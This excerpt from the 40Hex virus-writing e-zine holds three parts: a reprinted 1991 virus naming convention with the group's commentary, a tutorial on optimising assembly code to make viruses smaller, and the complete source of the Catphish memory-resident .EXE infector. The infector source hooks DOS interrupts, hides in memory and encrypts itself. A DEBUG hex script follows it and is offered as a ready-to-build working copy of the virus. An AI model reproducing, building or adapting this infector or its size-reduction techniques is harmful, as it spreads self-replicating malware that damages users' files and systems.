------------------------------------------------------------------------- A New Virus Naming Convention At the Anti-Virus Product Developers Conference organized by NCSA in Washington in November 1991 a committee was formed with the objective of reducing the confusion in virus naming. This committee consisted of Fridrik Skulason (Virus Bulletin's technical editor) Alan Solomon (S&S International) and Vesselin Bontchev (University of Hamburg). The following naming convention was chosen: The full name of a virus consists of up to four parts, desimited by points ('.'). Any part may be missing, but at least one must be present. The general format is Family_Name.Group_Name.Major_Variant.Minor_Variant Each part is an identifier, constructed with the characters [A-Za-z0-9_$%&!'`#-]. The non-alphanumeric characters are permitted, but should be avoided. The identifier is case-insensitive, but mixed-case characters should be used for readability. Usage of underscore ('_') (instead of space) is permitted, if it improves readability. Each part is up to 20 characters long (in order to allow such monstriosities like "Green_Caterpillar"), but shorter names should be used whenever possible. However, if the shorter name is just an abbreviation of the long name, it's better to use the long name. 1. Family names. The Family_Name represents the family to which the virus belongs. Every attempt is made to group the existing viruses into families, depending on the structural similarities of the viruses, but we understand that a formal definition of a family is impossible. When selecting a Family_Name, the following guidelines must be applied: "Must" 1) Do not use company names, brand names or names of living people, except where the virus is provably written by the person. Common first names are permissible, but be careful - avoid if possible. In particular, avoid names associated with the anti-virus world. If a virus claims to be written by a particular person or company do not believe it without further proof. 2) Do not use an existing Family_Name, unless the viruses belong to the same family. 3) Do not invent a new name if there is an existing, acceptable name. 4) Do not use obscene or offensive names. 5) Do not assume that just because an infected sample arrives with a particular name, that the virus has that name. 6) Avoid numeric Family_Names like V845. They should never be used as family names, as the members of the family may have different lengths. When a new virus appears and a new Family_Name must be selected for it, it is acceptable to us a temporary name like _1234, but this must be changed as soon as possible. "Should" 1) Avoid Family_Names like Friday 13th, September 22nd. They should not be used as family names, as members of the family may have different activation dates. 2) Avoid geographic names which are based on the discovery site - the same virus might appear simultaneously in several different places. 3) If multiple acceptable names exist, select the original one, the one used by the majority of existing anti-virus programs or the more descriptive one. "General" 1) All short (less than 60 bytes) overwriting viruses are grouped under a Family_Name, called Trivial. 2. Group names. The Group_Name represents a major group of similar viruses in a virus family, something like a sub-family. Examples are AntiCAD (a distinguished clone of the Jerusalem family, containing numerous variants), or 1704 (a group of several virus variants in the Cascade family). When selecting a Group_Name, the same guidelines as for a Family_Name should be applied, except that numeric names are more permissible - but only if the respective group of viruses is well known under this name. 3. Major variant name. The major variant name is used to group viruses in a Group_Name, which are very similar, and usually have one and the same infective length. Again, the above guidelines are applied, with one major exception. The Major_Variant is almost always a number, representing the infective length, since it helps to distinguish that particular sub-group of viruses. The infective length should be used as Major_Variant name always when it is known. Exceptions of this rule are: 1) When the infective length is not known, because the viruses are not yet analyzed. In this case, consecutive numbers are used (1, 2, 3, etc.). This should be changed as soon as more information about the viruses becomes known. 2) When an alpha-numeric name of the virus sub-group already exists and is popular, or more descriptive. 4. Minor variant name. Minor variants are viruses with the same infective length, with similar structure and behaviour, but slightly different. Usually the minor variants are different patches of one and the same virus. When selecting a Minor_Variant name, usually consecutive letters of the alphabet are used (A, B, C, etc...). However, this is not a very hard restriction and longer names can be used as well, especially if the virus is already known under this (longer) name, or if the name is more descriptive than just a letter. The producers of virus detection software are strongly usrged to use the virus names proposed here. The anti-virus researchers are advised to use the described guidelines when selecting names for new viruses, in order to avoid further confusion. If a scanner is not able to distinguish between tow minor variants of a virus, it should output the virus name up to the recognized major variant. For instance, if it cannot distinguish between Dark_Avenger.2000.Traveller.Copy and Dark.Avenger.Traveller.Zopy, it should report both variants of the virus as Dark.Avenger.Traveller. If it is also not able to distinguish between the major variants, it should report the virus up to the recognized group name. That is, if the scanner cannot make the difference between Dark_Avenger.2000.Traveller.* and Dark_Avenger.2000.Die_Young, it should report all the variants as Dark_Avenger.2000. ------------------------------------------------------------------------- We at Phalcon/Skism welcome the proposals of this new committee. It is a step in the right direction, helping clear up the mess caused by the generation disorganisation which has dominated the virus naming conventions to date. Additionally, if implemented properly, it will aid in identification of strains. John McAfee's SCAN, which had been the best virus scanner, fell from grace recently, when it implemented a new policy of merging scan strings, causing confusion in identification. Fridrik Skulason's F-Prot is the current champion of virus identification. However, we must voice concerns that the rules are not strict enough. There are clearly too few rules to cover the numerous viruses which currently exist. Family, group, and major variant names for most current common viruses should be established now. These guidelines need be created ASAP to avoid later confusion. In the example in the last two paragraphs, Dark Avenger strains are labelled separately as Dark_Avenger.2000 and Dark.Avenger. Such confusion is simply not acceptable. Wherever possible, the current common names should be kept. It would be a shame if the world lost the Jerusalem family to some mad individual who wishes to name it 1808. The rules cover this, but it is important to set this down initially before stupid people butcher the rules. Number names are neither informative nor interesting. Imagine advertising a product as being able to catch "the deadly 605 virus." Some knobs have proposed a numerical classification scheme of viruses. They're living in a dream world. We applaud the efforts of the committee and may only hope that anti- virus developers attempt to adhere to the proposed rules. Hopefully, Mr. Skulason and Dr. Solomon will lead the way, converting their own products to this new naming convention. And who will classify the viruses? We propose an open forum for discussion on a large network such as UseNet or FidoNet moderated by either a virus researcher or anti-virus developer. This will allow input from many people, some of whom have particular specialties within certain groups of viruses. 40Hex Number 9 Volume 2 Issue 5 File 008 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ CODE OPTIMISATION, A BEGINNER'S GUIDE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Written by Dark Angel ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ When writing a virus, size is a primary concern. A bloated virus carrying unnecessary baggage will run slower than its optimised counterpart and eat up more disk space. Never optimise any code before it works fully, since altering code after optimisation often messes up the optimisation and, in turn, messes up the code. After it works, the focus can shift to optimisation. Always keep a backup of the last working copy of the virus, as optimisation often leads to improperly working code. With this in mind, a few techniques of optimisation will be introduced. There are two types of optimisation: structural and local. Structural optimisation occurs when shifting the position of code or rethinking and reordering the functions of the virus shorten its length. A simple example follows: check_install: mov ax,1234h int 21h cmp bx,1234h ret install_virus: call check_install jz exit_install If this is the only instance that the procedure check_install is called, the following optimisation may be made: install_virus: mov ax,1234h int 21h cmp bx,1234h jz exit_install The first fragment wastes a total of 4 bytes - 3 for the call and 1 for the ret. Four bytes may not seem to be worth the effort, but after many such optimisations, the code size may be brought down significantly. The reverse of this optimisation, using procedures in lieu of repetitive code fragments, may work in other instances. Properly designed and well-thought out code will allow for such an optimisation. Another structural optimisation: get attributes open file read/only read file close file exit if already infected clear attributes open file read/write get file time/date write new header move file pointer to end of file concatenate virus restore file time/date close file restore attributes exit Change the above to: get attributes clear attributes open file read/write read file if infected, exit to close file get file time/date move file pointer to end of file concatenate virus move file pointer to beginning write new header restore file time/date close file restore attributes exit By using the second, an open file and a close file are eliminated while adding only one move file pointer request. This can save a healthy number of bytes. Local, or peephole, optimisation is often easier to do than structural optimisation. It consists of changing individual statements or short groups of statements to save bytes. The easiest type of peephole optimisation is a simple replacement of one line with a functional equivalent that takes fewer bytes. The 8086 instruction set abounds with such possibilities. A few examples follow. Perhaps the most widespread optimisation, replace: mov ax,0 ; this instruction is 3 bytes long mov bp,0 ; mov reg, 0 with any reg = nonsegment register takes 3 bytes with xor ax,ax ; this takes but 2 bytes xor bp,bp ; mov reg, 0 always takes 2 bytes or even sub ax,ax ; also takes 2 bytes sub bp,bp One of the easiest optimisations, yet often overlooked by novices, is the merging of lines. As an example, replace: mov bh,5h ; two bytes mov bl,32h ; two bytes ; total: four bytes with mov bx,532h ; three bytes, save one byte A very useful optimisation moving the file handle from ax to bx follows. Replace: mov bx,ax ; 2 bytes with xchg ax,bx ; 1 byte Another easy optimisation which can most easily applied to file pointer moving operations: Replace mov ax,4202h ; save one byte from "mov ah,42h / mov al,2" xor dx,dx ; saves one byte from "mov dx,0" xor cx,cx ; same here int 21h with mov ax,4202h cwd ; equivalent to "xor dx,dx" when ax < 8000h xor cx,cx int 21h Sometimes it may be desirable to use si as the delta offset variable, as an instruction involving [si] takes one less byte to encode than its equivalent using [bp]. This does NOT work with combinations such as [si+1]. Examples: mov ax,[bp] ; 3 bytes mov word ptr cs:[bp],1234h ; 6 bytes add ax,[bp+1] ; 3 bytes - no byte savings will occur mov ax,[si] ; 2 bytes mov word ptr cs:[si],1234h ; 5 bytes add ax,[si+1] ; 3 bytes - this is not smaller A somewhat strange and rather specialised optimisation: inc al ; 2 bytes inc bl ; 2 bytes versus inc ax ; 1 byte inc bx ; 1 byte A structural optimisation can also involve getting rid of redundant code. As a virus related example, consider the infection routine. In few instances is an error-trapping routine after each interrupt call necessary. A single "jc error" is needed, say after the first disk-writing interrupt, and if that succeeds, the rest should also work fine. Another possibility is to use a critical error handler instead of error checking. How about this example of optimised code: mov ax, 4300h ; get file attributes mov dx, offset filename int 21h push dx ; save filename push cx ; and attributes on stack inc ax ; ax = 4301h = set file attributes push ax ; save 4301h on stack xor cx,cx ; clear attributes int 21h ...rest of infection... pop ax ; ax = 4301h pop cx ; cx = original attributes of file pop dx ; dx-> original filename int 21h Optimisation is almost always code-specific. Through a combination of restructuring and line replacement, a good programmer can drastically reduce the size of a virus. By gaining a good feel of the 80x86 instruction set, many more optimisations may be found. Above all, good program design will aid in creating small viruses. 40Hex Number 9 Volume 2 Issue 5 File 009 name CATPHISH title code segment assume cs:code, ds:code, es:code org 100h ;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ; FirstStrike presents: ; ; The Catphish Virus. ; ; The Catphish virus is a resident .EXE infector. ; Size: 701 bytes (decimal). ; No activation (bomb). ; Saves date and file attributes. ; ; If assembling, check_if_resident jump must be marked over ; with nop after first execution (first execution will hang ; system). ; ; *** Source is made available to learn from, not to ; change author's name and claim credit! *** start: call setup ; Find "delta offset". setup: pop bp sub bp, offset setup-100h jmp check_if_resident ; See note above about jmp! pre_dec_em: mov bx,offset infect_header-100h add bx,bp mov cx,endcrypt-infect_header ror_em: mov dl,byte ptr cs:[bx] ror dl,1 ; Decrypt virus code mov byte ptr cs:[bx],dl ; by rotating right. inc bx loop ror_em jmp check_if_resident ;--------------------------------- Infect .EXE header ----------------------- ; The .EXE header modifying code below is my reworked version of ; Dark Angel's code found in his Phalcon/Skism virus guides. infect_header: push bx push dx push ax mov bx, word ptr [buffer+8-100h] ; Header size in paragraphs ; ^---make sure you don't destroy the file handle mov cl, 4 ; Multiply by 16. Won't shl bx, cl ; work with headers > 4096 ; bytes. Oh well! sub ax, bx ; Subtract header size from sbb dx, 0 ; file size ; Now DX:AX is loaded with file size minus header size mov cx, 10h ; DX:AX/CX = AX Remainder DX div cx mov word ptr [buffer+14h-100h], dx ; IP Offset mov word ptr [buffer+16h-100h], ax ; CS Displacement in module mov word ptr [buffer+0Eh-100h], ax ; Paragraph disp. SS mov word ptr [buffer+10h-100h], 0A000h ; Starting SP pop ax pop dx add ax, endcode-start ; add virus size cmp ax, endcode-start jb fix_fault jmp execont war_cry db 'Cry Havoc, and let slip the Dogs of War!',0 v_name db '[Catphish]',0 ; Virus name. v_author db 'FirstStrike',0 ; Me. v_stuff db 'Kraft!',0 fix_fault: add dx,1d execont: push ax mov cl, 9 shr ax, cl ror dx, cl stc adc dx, ax pop ax and ah, 1 mov word ptr [buffer+4-100h], dx ; Fix-up the file size in mov word ptr [buffer+2-100h], ax ; the EXE header. pop bx retn ; Leave subroutine ;---------------------------------------------------------------------------- check_if_resident: push es xor ax,ax mov es,ax cmp word ptr es:[63h*4],0040h ; Check to see if virus jnz grab_da_vectors ; is already resident jmp exit_normal ; by looking for a 40h ; signature in the int 63h ; offset section of ; interrupt table. grab_da_vectors: mov ax,3521h ; Store original int 21h int 21h ; vector pointer. mov word ptr cs:[bp+dos_vector-100h],bx mov word ptr cs:[bp+dos_vector+2-100h],es load_high: push ds find_chain: ; Load high routine that ; uses the DOS internal mov ah,52h ; table function to find int 21h ; start of MCB and then ; scales up chain to mov ds,es: word ptr [bx-2] ; find top. (The code assume ds:nothing ; is long, but it is the ; only code that would xor si,si ; work when an infected ; .EXE was to be loaded Middle_check: ; into memory. cmp byte ptr ds:[0],'M' jne Check4last add_one: mov ax,ds add ax,ds:[3] inc ax mov ds,ax jmp Middle_check Check4last: cmp byte ptr ds:[0],'Z' jne Error mov byte ptr ds:[0],'M' sub word ptr ds:[3],(endcode-start+15h)/16h+1 jmp add_one error: mov byte ptr ds:[0],'Z' mov word ptr ds:[1],008h mov word ptr ds:[3],(endcode-start+15h)/16h+1 push ds pop ax inc ax push ax pop es move_virus_loop: mov bx,offset start-100h ; Move virus into carved add bx,bp ; out location in memory. mov cx,endcode-start push bp mov bp,0000h move_it: mov dl, byte ptr cs:[bx] mov byte ptr es:[bp],dl inc bp inc bx loop move_it pop bp hook_vectors: mov ax,2563h ; Hook the int 21h vector mov dx,0040h ; which means it will int 21h ; point to virus code in ; memory. mov ax,2521h mov dx,offset virus_attack-100h push es pop ds int 21h pop ds exit_normal: ; Return control to pop es ; infected .EXE mov ax, es ; (Dark Angle code.) add ax, 10h add word ptr cs:[bp+OrigCSIP+2-100h], ax cli add ax, word ptr cs:[bp+OrigSSSP+2-100h] mov ss, ax mov sp, word ptr cs:[bp+OrigSSSP-100h] sti xor ax,ax xor bp,bp endcrypt label byte db 0eah OrigCSIP dd 0fff00000h OrigSSSP dd ? exe_attrib dw ? date_stamp dw ? time_stamp dw ? dos_vector dd ? buffer db 18h dup(?) ; .EXE header buffer. ;---------------------------------------------------------------------------- virus_attack proc far assume cs:code,ds:nothing, es:nothing cmp ax,4b00h ; Infect only on file jz run_kill ; executions. leave_virus: jmp dword ptr cs:[dos_vector-100h] run_kill: call infectexe jmp leave_virus infectexe: ; Same old working horse push ax ; routine that infects push bx ; the selected file. push cx push es push dx push ds mov cx,64d mov bx,dx findname: cmp byte ptr ds:[bx],'.' jz o_k inc bx loop findname pre_get_out: jmp get_out o_k: cmp byte ptr ds:[bx+1],'E' ; Searches for victims. jnz pre_get_out cmp byte ptr ds:[bx+2],'X' jnz pre_get_out cmp byte ptr ds:[bx+3],'E' jnz pre_get_out getexe: mov ax,4300h call dosit mov word ptr cs:[exe_attrib-100h],cx mov ax,4301h xor cx,cx call dosit exe_kill: mov ax,3d02h call dosit xchg bx,ax mov ax,5700h call dosit mov word ptr cs:[time_stamp-100h],cx mov word ptr cs:[date_stamp-100h],dx push cs pop ds mov ah,3fh mov cx,18h mov dx,offset buffer-100h call dosit cmp word ptr cs:[buffer+12h-100h],1993h ; Looks for virus marker jnz infectforsure ; of 1993h in .EXE jmp close_it ; header checksum ; position. infectforsure: call move_f_ptrfar push ax push dx call store_header pop dx pop ax call infect_header push bx push cx push dx mov bx,offset infect_header-100h mov cx,(endcrypt)-(infect_header) rol_em: ; Encryption via mov dl,byte ptr cs:[bx] ; rotating left. rol dl,1 mov byte ptr cs:[bx],dl inc bx loop rol_em pop dx pop cx pop bx mov ah,40h mov cx,endcode-start mov dx,offset start-100h call dosit push bx push cx push dx pre_dec_em2: mov bx,offset infect_header-100h mov cx,endcrypt-infect_header ror_em2: mov dl,byte ptr cs:[bx] ror dl,1 ; Decrypt virus code mov byte ptr cs:[bx],dl ; by rotating right. inc bx loop ror_em2 pop dx pop cx pop bx mov word ptr cs:[buffer+12h-100h],1993h call move_f_ptrclose mov ah,40h mov cx,18h mov dx,offset buffer-100h call dosit mov ax,5701h mov cx,word ptr cs:[time_stamp-100h] mov dx,word ptr cs:[date_stamp-100h] call dosit close_it: mov ah,3eh call dosit get_out: pop ds pop dx set_attrib: mov ax,4301h mov cx,word ptr cs:[exe_attrib-100h] call dosit pop es pop cx pop bx pop ax retn ;---------------------------------- Call to DOS int 21h --------------------- dosit: ; DOS function call code. pushf call dword ptr cs:[dos_vector-100h] retn ;---------------------------------------------------------------------------- ;-------------------------------- Store Header ----------------------------- store_header: les ax, dword ptr [buffer+14h-100h] ; Save old entry point mov word ptr [OrigCSIP-100h], ax mov word ptr [OrigCSIP+2-100h], es les ax, dword ptr [buffer+0Eh-100h] ; Save old stack mov word ptr [OrigSSSP-100h], es mov word ptr [OrigSSSP+2-100h], ax retn ;--------------------------------------------------------------------------- ;---------------------------------- Set file pointer ------------------------ move_f_ptrfar: ; Code to move file pointer. mov ax,4202h jmp short move_f move_f_ptrclose: mov ax,4200h move_f: xor dx,dx xor cx,cx call dosit retn ;---------------------------------------------------------------------------- endcode label byte endp code ends end start >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Below is a sample file that is already infected. Just cut out code and run through debug. Next rename DUMMY.FIL to DUMMY.EXE and you have a working copy of your very own Catphish virus. N DUMMY.FIL E 0100 4D 5A F4 00 04 00 00 00 20 00 00 00 FF FF 23 00 E 0110 00 A0 93 19 07 00 23 00 3E 00 00 00 01 00 FB 30 E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0500 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0510 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0520 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E 0530 90 90 B8 00 4C CD 21 E8 00 00 5D 81 ED 03 00 90 E 0540 90 90 BB 21 00 03 DD B9 41 01 2E 8A 17 D0 CA 2E E 0550 88 17 43 E2 F5 E9 93 00 A6 A4 A0 17 3C FA 02 63 E 0560 08 A7 C7 56 87 07 B5 00 73 20 00 EF E3 13 2C 13 E 0570 02 47 17 02 47 07 02 8F 0C 0B 02 00 41 B0 B4 0A E 0580 7B 04 7A 7B 04 E4 94 D7 96 21 86 E4 F2 40 90 C2 E 0590 EC DE C6 58 40 C2 DC C8 40 D8 CA E8 40 E6 D8 D2 E 05A0 E0 40 E8 D0 CA 40 88 DE CE E6 40 DE CC 40 AE C2 E 05B0 E4 42 00 B6 86 C2 E8 E0 D0 D2 E6 D0 BA 00 8C D2 E 05C0 E4 E6 E8 A6 E8 E4 D2 D6 CA 00 96 E4 C2 CC E8 42 E 05D0 00 07 85 02 A0 63 12 A7 D1 A7 95 F3 26 A1 B0 01 E 05E0 C9 02 13 2C F2 02 47 EE 02 B6 87 0C 66 81 1D 81 E 05F0 4C 07 7C 19 02 80 EA 06 D3 03 00 71 42 6A 9B 42 E 0600 5C 13 3D E2 02 5C 19 0D E6 02 3C 69 A4 9B 42 4C E 0610 1D BE FD 66 ED 01 7C 00 00 9A EA 16 19 B1 06 0C E 0620 06 00 80 1D B1 D7 DD 01 7C 00 00 B4 EA 1A 8D 0C E 0630 00 00 9A 07 5C 06 00 42 21 D7 C3 8D 0C 00 00 B4 E 0640 8F 0C 02 00 10 00 8F 0C 06 00 42 00 3C B0 80 A0 E 0650 0E 77 00 00 06 BB 73 7B 04 AA 7B 00 00 5C 15 2E E 0660 4C 11 AC 00 8A 86 C5 EB BA 71 C6 4A 75 80 00 9B E 0670 42 71 42 4A 75 1B 02 0C 3E 9B 42 3E 0E 19 81 0A E 0680 20 00 5C 02 0D CA 02 F5 5C 06 0D D2 02 1D A1 5C E 0690 17 4D CE 02 F7 66 81 66 DB EA 00 01 10 00 00 01 E 06A0 00 00 20 00 21 1A A5 9D 9E 10 1C 01 4D 5A F4 00 E 06B0 04 00 00 00 20 00 00 00 FF FF 23 00 00 A0 00 00 E 06C0 07 00 23 00 3D 00 4B 74 05 2E FF 2E 71 01 E8 02 E 06D0 00 EB F6 50 53 51 06 52 1E B9 40 00 8B DA 80 3F E 06E0 2E 74 06 43 E2 F8 E9 C5 00 80 7F 01 45 75 F7 80 E 06F0 7F 02 58 75 F1 80 7F 03 45 75 EB B8 00 43 E8 BF E 0700 00 2E 89 0E 6B 01 B8 01 43 33 C9 E8 B2 00 B8 02 E 0710 3D E8 AC 00 93 B8 00 57 E8 A5 00 2E 89 0E 6F 01 E 0720 2E 89 16 6D 01 0E 1F B4 3F B9 18 00 BA 75 01 E8 E 0730 8E 00 2E 81 3E 87 01 93 19 75 03 EB 6C 90 E8 A3 E 0740 00 50 52 E8 81 00 5A 58 E8 0D FE 53 51 52 BB 21 E 0750 00 B9 41 01 2E 8A 17 D0 C2 2E 88 17 43 E2 F5 5A E 0760 59 5B B4 40 B9 BD 02 BA 00 00 E8 53 00 53 51 52 E 0770 BB 21 00 B9 41 01 2E 8A 17 D0 CA 2E 88 17 43 E2 E 0780 F5 5A 59 5B 2E C7 06 87 01 93 19 E8 5B 00 B4 40 E 0790 B9 18 00 BA 75 01 E8 27 00 B8 01 57 2E 8B 0E 6F E 07A0 01 2E 8B 16 6D 01 E8 17 00 B4 3E E8 12 00 1F 5A E 07B0 B8 01 43 2E 8B 0E 6B 01 E8 05 00 07 59 5B 58 C3 E 07C0 9C 2E FF 1E 71 01 C3 2E C4 06 89 01 2E A3 63 01 E 07D0 2E 8C 06 65 01 2E C4 06 83 01 2E 8C 06 67 01 2E E 07E0 A3 69 01 C3 B8 02 42 EB 03 B8 00 42 33 D2 33 C9 E 07F0 E8 CD FF C3 RCX 06F4 W Q -+- FirstStrike -+-